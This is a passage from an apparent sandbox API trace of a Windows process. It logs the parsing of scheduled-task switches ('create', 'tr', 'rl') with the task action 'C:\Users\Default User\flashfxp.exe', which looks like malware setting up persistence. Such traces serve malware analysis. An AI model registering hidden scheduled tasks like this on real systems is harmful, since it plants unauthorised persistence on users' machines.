(_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.702] lstrlenW (lpString="tr") returned 2 [0164.702] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.702] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|create|") returned 8 [0164.703] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.703] lstrlenW (lpString="|create|") returned 8 [0164.703] lstrlenW (lpString="|tr|") returned 4 [0164.703] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0164.703] SetLastError (dwErrCode=0x490) [0164.703] lstrlenW (lpString="?") returned 1 [0164.703] lstrlenW (lpString="?") returned 1 [0164.703] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.703] lstrlenW (lpString="tr") returned 2 [0164.703] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.703] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|?|") returned 3 [0164.703] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.703] lstrlenW (lpString="|?|") returned 3 [0164.703] lstrlenW (lpString="|tr|") returned 4 [0164.703] SetLastError (dwErrCode=0x490) [0164.703] lstrlenW (lpString="s") returned 1 [0164.703] lstrlenW (lpString="s") returned 1 [0164.703] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.703] lstrlenW (lpString="tr") returned 2 [0164.703] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.703] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|s|") returned 3 [0164.703] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.703] lstrlenW (lpString="|s|") returned 3 [0164.703] lstrlenW (lpString="|tr|") returned 4 [0164.704] SetLastError (dwErrCode=0x490) [0164.704] lstrlenW (lpString="u") returned 1 [0164.704] lstrlenW (lpString="u") returned 1 [0164.704] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.704] lstrlenW (lpString="tr") returned 2 [0164.704] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.704] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|u|") returned 3 [0164.704] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.704] lstrlenW (lpString="|u|") returned 3 [0164.704] lstrlenW (lpString="|tr|") returned 4 [0164.704] SetLastError (dwErrCode=0x490) [0164.704] lstrlenW (lpString="p") returned 1 [0164.704] lstrlenW (lpString="p") returned 1 [0164.704] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.704] lstrlenW (lpString="tr") returned 2 [0164.704] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.704] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|p|") returned 3 [0164.704] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.704] lstrlenW (lpString="|p|") returned 3 [0164.704] lstrlenW (lpString="|tr|") returned 4 [0164.704] SetLastError (dwErrCode=0x490) [0164.704] lstrlenW (lpString="ru") returned 2 [0164.704] lstrlenW (lpString="ru") returned 2 [0164.704] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.704] lstrlenW (lpString="tr") returned 2 [0164.704] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.705] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ru|") returned 4 [0164.705] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.705] lstrlenW (lpString="|ru|") returned 4 [0164.705] lstrlenW (lpString="|tr|") returned 4 [0164.705] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0164.705] SetLastError (dwErrCode=0x490) [0164.705] lstrlenW (lpString="rp") returned 2 [0164.705] lstrlenW (lpString="rp") returned 2 [0164.705] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.705] lstrlenW (lpString="tr") returned 2 [0164.705] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.705] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rp|") returned 4 [0164.705] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.705] lstrlenW (lpString="|rp|") returned 4 [0164.705] lstrlenW (lpString="|tr|") returned 4 [0164.705] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0164.705] SetLastError (dwErrCode=0x490) [0164.705] lstrlenW (lpString="sc") returned 2 [0164.705] lstrlenW (lpString="sc") returned 2 [0164.705] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.705] lstrlenW (lpString="tr") returned 2 [0164.705] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.705] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.705] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.706] lstrlenW (lpString="|sc|") returned 4 [0164.706] lstrlenW (lpString="|tr|") returned 4 [0164.706] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0164.706] SetLastError (dwErrCode=0x490) [0164.706] lstrlenW (lpString="mo") returned 2 [0164.706] lstrlenW (lpString="mo") returned 2 [0164.706] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.706] lstrlenW (lpString="tr") returned 2 [0164.706] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.706] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.706] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.706] lstrlenW (lpString="|mo|") returned 4 [0164.706] lstrlenW (lpString="|tr|") returned 4 [0164.706] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0164.706] SetLastError (dwErrCode=0x490) [0164.706] lstrlenW (lpString="d") returned 1 [0164.706] lstrlenW (lpString="d") returned 1 [0164.706] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.706] lstrlenW (lpString="tr") returned 2 [0164.706] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.706] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|d|") returned 3 [0164.706] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.706] lstrlenW (lpString="|d|") returned 3 [0164.706] lstrlenW (lpString="|tr|") returned 4 [0164.706] SetLastError (dwErrCode=0x490) [0164.706] lstrlenW (lpString="m") returned 1 [0164.706] lstrlenW (lpString="m") returned 1 [0164.707] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.707] lstrlenW (lpString="tr") returned 2 [0164.707] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.707] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|m|") returned 3 [0164.707] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.707] lstrlenW (lpString="|m|") returned 3 [0164.707] lstrlenW (lpString="|tr|") returned 4 [0164.707] SetLastError (dwErrCode=0x490) [0164.707] lstrlenW (lpString="i") returned 1 [0164.707] lstrlenW (lpString="i") returned 1 [0164.707] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.707] lstrlenW (lpString="tr") returned 2 [0164.707] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.707] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|i|") returned 3 [0164.707] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.707] lstrlenW (lpString="|i|") returned 3 [0164.707] lstrlenW (lpString="|tr|") returned 4 [0164.707] SetLastError (dwErrCode=0x490) [0164.707] lstrlenW (lpString="tn") returned 2 [0164.707] lstrlenW (lpString="tn") returned 2 [0164.707] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.707] lstrlenW (lpString="tr") returned 2 [0164.707] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.707] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.707] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.708] lstrlenW (lpString="|tn|") returned 4 [0164.708] lstrlenW (lpString="|tr|") returned 4 [0164.708] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0164.708] SetLastError (dwErrCode=0x490) [0164.708] lstrlenW (lpString="tr") returned 2 [0164.708] lstrlenW (lpString="tr") returned 2 [0164.708] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.708] lstrlenW (lpString="tr") returned 2 [0164.708] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.708] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.708] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.708] lstrlenW (lpString="|tr|") returned 4 [0164.708] lstrlenW (lpString="|tr|") returned 4 [0164.708] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0164.708] SetLastError (dwErrCode=0x0) [0164.708] SetLastError (dwErrCode=0x0) [0164.708] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.708] lstrlenW (lpString="-/") returned 2 [0164.708] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0164.708] SetLastError (dwErrCode=0x490) [0164.708] SetLastError (dwErrCode=0x490) [0164.708] SetLastError (dwErrCode=0x0) [0164.708] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.708] StrChrIW (lpStart="'C:\\Users\\Default User\\flashfxp.exe'", wMatch=0x3a) returned=":\\Users\\Default User\\flashfxp.exe'" [0164.708] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.708] _memicmp (_Buf1=0x23d500, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.709] _memicmp (_Buf1=0x23d540, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.709] SetLastError (dwErrCode=0x7a) [0164.709] SetLastError (dwErrCode=0x0) [0164.709] SetLastError (dwErrCode=0x0) [0164.709] lstrlenW (lpString="'C") returned 2 [0164.709] lstrlenW (lpString="-/") returned 2 [0164.709] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0164.709] SetLastError (dwErrCode=0x490) [0164.709] SetLastError (dwErrCode=0x490) [0164.709] SetLastError (dwErrCode=0x0) [0164.709] _memicmp (_Buf1=0x23d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.709] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.709] GetProcessHeap () returned 0x220000 [0164.709] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d580) returned 1 [0164.709] GetProcessHeap () returned 0x220000 [0164.709] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23d580, Size=0x4a) returned 0x23dc90 [0164.709] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.709] lstrlenW (lpString=" \x09") returned 2 [0164.709] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0164.709] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0164.709] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0164.709] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0164.709] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0164.709] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0164.709] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0164.709] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0164.709] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0164.710] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0164.710] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0164.711] GetLastError () returned 0x0 [0164.711] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.711] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.711] SetLastError (dwErrCode=0x0) [0164.711] SetLastError (dwErrCode=0x0) [0164.711] lstrlenW (lpString="/rl") returned 3 [0164.711] lstrlenW (lpString="-/") returned 2 [0164.711] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.711] lstrlenW (lpString="create") returned 6 [0164.711] lstrlenW (lpString="create") returned 6 [0164.711] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.711] lstrlenW (lpString="rl") returned 2 [0164.711] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.711] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|create|") returned 8 [0164.711] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.711] lstrlenW (lpString="|create|") returned 8 [0164.711] lstrlenW (lpString="|rl|") returned 4 [0164.711] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0164.711] SetLastError (dwErrCode=0x490) [0164.711] lstrlenW (lpString="?") returned 1 [0164.711] lstrlenW (lpString="?") returned 1 [0164.711] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.711] lstrlenW (lpString="rl") returned 2 [0164.711] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.711] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|?|") returned 3 [0164.712] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.712] lstrlenW (lpString="|?|") returned 3 [0164.712] lstrlenW (lpString="|rl|") returned 4 [0164.712] SetLastError (dwErrCode=0x490) [0164.712] lstrlenW (lpString="s") returned 1 [0164.712] lstrlenW (lpString="s") returned 1 [0164.712] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.712] lstrlenW (lpString="rl") returned 2 [0164.712] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.712] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|s|") returned 3 [0164.712] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.712] lstrlenW (lpString="|s|") returned 3 [0164.712] lstrlenW (lpString="|rl|") returned 4 [0164.712] SetLastError (dwErrCode=0x490) [0164.712] lstrlenW (lpString="u") returned 1 [0164.712] lstrlenW (lpString="u") returned 1 [0164.712] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.712] lstrlenW (lpString="rl") returned 2 [0164.712] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.712] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|u|") returned 3 [0164.712] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.712] lstrlenW (lpString="|u|") returned 3 [0164.712] lstrlenW (lpString="|rl|") returned 4 [0164.746] SetLastError (dwErrCode=0x490) [0164.746] lstrlenW (lpString="p") returned 1 [0164.746] lstrlenW (lpString="p") returned 1 [0164.746] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.746] lstrlenW (lpString="rl") returned 2 [0164.746] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.746] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|p|") returned 3 [0164.747] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.747] lstrlenW (lpString="|p|") returned 3 [0164.747] lstrlenW (lpString="|rl|") returned 4 [0164.747] SetLastError (dwErrCode=0x490) [0164.747] lstrlenW (lpString="ru") returned 2 [0164.747] lstrlenW (lpString="ru") returned 2 [0164.747] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.747] lstrlenW (lpString="rl") returned 2 [0164.747] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.747] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ru|") returned 4 [0164.747] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.747] lstrlenW (lpString="|ru|") returned 4 [0164.747] lstrlenW (lpString="|rl|") returned 4 [0164.747] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0164.747] SetLastError (dwErrCode=0x490) [0164.747] lstrlenW (lpString="rp") returned 2 [0164.748] lstrlenW (lpString="rp") returned 2 [0164.748] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.748] lstrlenW (lpString="rl") returned 2 [0164.748] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.748] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rp|") returned 4 [0164.748] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.748] lstrlenW (lpString="|rp|") returned 4 [0164.748] lstrlenW (lpString="|rl|") returned 4 [0164.748] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0164.748] SetLastError (dwErrCode=0x490) [0164.748] lstrlenW (lpString="sc") returned 2 [0164.748] lstrlenW (lpString="sc") returned 2 [0164.748] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.748] lstrlenW (lpString="rl") returned 2 [0164.748] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.748] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.748] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.748] lstrlenW (lpString="|sc|") returned 4 [0164.748] lstrlenW (lpString="|rl|") returned 4 [0164.748] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0164.748] SetLastError (dwErrCode=0x490) [0164.749] lstrlenW (lpString="mo") returned 2 [0164.749] lstrlenW (lpString="mo") returned 2 [0164.803] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.804] lstrlenW (lpString="rl") returned 2 [0164.804] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.804] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.804] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.804] lstrlenW (lpString="|mo|") returned 4 [0164.804] lstrlenW (lpString="|rl|") returned 4 [0164.804] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0164.804] SetLastError (dwErrCode=0x490) [0164.804] lstrlenW (lpString="d") returned 1 [0164.804] lstrlenW (lpString="d") returned 1 [0164.804] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.804] lstrlenW (lpString="rl") returned 2 [0164.804] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.804] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|d|") returned 3 [0164.804] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.804] lstrlenW (lpString="|d|") returned 3 [0164.804] lstrlenW (lpString="|rl|") returned 4 [0164.804] SetLastError (dwErrCode=0x490) [0164.805] lstrlenW (lpString="m") returned 1 [0164.805] lstrlenW (lpString="m") returned 1 [0164.805] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.805] lstrlenW (lpString="rl") returned 2 [0164.805] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.805] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|m|") returned 3 [0164.805] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.805] lstrlenW (lpString="|m|") returned 3 [0164.805] lstrlenW (lpString="|rl|") returned 4 [0164.805] SetLastError (dwErrCode=0x490) [0164.805] lstrlenW (lpString="i") returned 1 [0164.805] lstrlenW (lpString="i") returned 1 [0164.805] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.805] lstrlenW (lpString="rl") returned 2 [0164.805] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.805] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|i|") returned 3 [0164.805] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.805] lstrlenW (lpString="|i|") returned 3 [0164.805] lstrlenW (lpString="|rl|") returned 4 [0164.805] SetLastError (dwErrCode=0x490) [0164.806] lstrlenW (lpString="tn") returned 2 [0164.806] lstrlenW (lpString="tn") returned 2 [0164.806] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.806] lstrlenW (lpString="rl") returned 2 [0164.806] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.806] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.806] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.806] lstrlenW (lpString="|tn|") returned 4 [0164.806] lstrlenW (lpString="|rl|") returned 4 [0164.806] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0164.806] SetLastError (dwErrCode=0x490) [0164.806] lstrlenW (lpString="tr") returned 2 [0164.806] lstrlenW (lpString="tr") returned 2 [0164.806] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.806] lstrlenW (lpString="rl") returned 2 [0164.806] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.806] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.806] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.806] lstrlenW (lpString="|tr|") returned 4 [0164.806] lstrlenW (lpString="|rl|") returned 4 [0164.806] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0164.806] SetLastError (dwErrCode=0x490) [0164.806] lstrlenW (lpString="st") returned 2 [0164.806] lstrlenW 